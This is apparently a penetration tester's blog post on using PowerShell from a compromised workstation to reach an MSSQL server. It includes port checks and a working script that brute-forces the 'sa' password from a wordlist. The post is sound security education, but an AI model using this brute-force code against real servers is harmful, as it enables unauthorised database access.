PoSH SQL

Feb 12, 2016


By Owen Shearing, Penetration Tester, 7Safe 

On a recent test we found ourselves in a situation where we had access to a Windows workstation under the context of a standard user account. The transferring of binaries to/from this workstation was not impossible, but even in the case of a successful drop, we still have to overcome limitations of our standard account, as well as restrictions on the execution of programs (in this case SRP or equivalent was actually enforced to some degree) and no, PowerShell wasn't blacklisted!

Additionally, prior enumeration and data collection suggested that we would be best targeting a MSSQL server elsewhere within the network and therefore the best use of this system was to serve as a simple pivoting device. For the purpose of this brief article we won't focus on any escape/escalation tactics that could be used to gain local privileges, but instead we'll look at some of the functionality within PowerShell that was used to gain access to the identified DB server from this workstation.

As mentioned, we knew that a remote MSSQL server existed (from previous reconnaissance) but we wanted to verify that this sever was accessible from our current network segment.

Test-Connection -Count 1 -ComputerName $dbserver

Fair enough a simple PING from the command line would have sufficed, but we're talking PowerShell here! Now getting an ICMP response was helpful however we wanted to verify that the MSSQL port was open and accessible to us.

new-Object system.Net.Sockets.TcpClient(“$dbserver”,”1433”)

OK we have verified that we could reach the server, but we still didn't have confirmed credentials at this stage. However judging from other unrelated findings, the password probably wasn't going to be conforming to best practises! With this is mind we created a very basic script that iterated through a given password list and, in the example given here, targets the Holy Grail MSSQL 'SA' account.

$passwordlist=Get-Content "c:\password_list.txt"

$SqlConnection=New-Object System.Data.SqlClient.SqlConnection

foreach($pass in $passwordlist)

{

      $error.clear()

      $SqlConnection.ConnectionString="Server=$dbserver;Database=master;uid=sa;pwd=$pass;Integrated Security=False"

      try

      {

            $Sqlcon=$SqlConnection.Open()

      }

      catch

      {

            Write-Host "Incorrect password`: $pass" -foregroundcolor "red"

      }

      if (!$error)

      {

            Write-Host "Correct Password`: $pass" -foregroundcolor "green"

            $SqlConnection.Close()

      }  

}

Without rushing ahead of ourselves we wanted to make sure that we could run - and get the results back from - a basic SQL query. For this purpose we used the classic SELECT @@Version which successfully returned details of the MSSQL installation to us.

Within this example we've use 'sql' as the DB password – this is unlikely (we hope) to be the password for your target!

$SqlConnection=New-Object System.Data.SqlClient.SqlConnection

$SqlConnection.ConnectionString="Server=$dbserver;Database=master;uid=sa;pwd=sql;Integrated Security=False"

$SqlConnection.Open()

$SqlCmd=New-Object System.Data.SqlClient.SqlCommand

$SqlCmd.CommandText="SELECT @@VERSION;"

$SqlCmd.Connection=$SqlConnection

$dbquery=$SqlCmd.ExecuteReader()

while($dbquery.read())

      {

            $dbquery.getvalue($1)

      }

$SqlConnection.Close()

From here on in your imagination (and the privileges of the user you've happened to gain access to) are the limit.

The PowerShell and Pentesting combination is nothing new (just look at projects such as , http://www.powershellempire.com/ and https://github.com/samratashok/nishang) but this brief example illustrates just how great/worrying (depending on your viewpoint) this scripting language can prove to be in the field.

Resources:

https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand(v=vs.110).aspx

http://stackoverflow.com/questions/1758779/retrieving-data-using-select-sql-statement-in-powershell

Penetration tester at work
"Without rushing ahead of ourselves we wanted to make sure that we could run - and get the results back from - a basic SQL query. For this purpose we used the classic SELECT @@Version which successfully returned details of the MSSQL installation to us."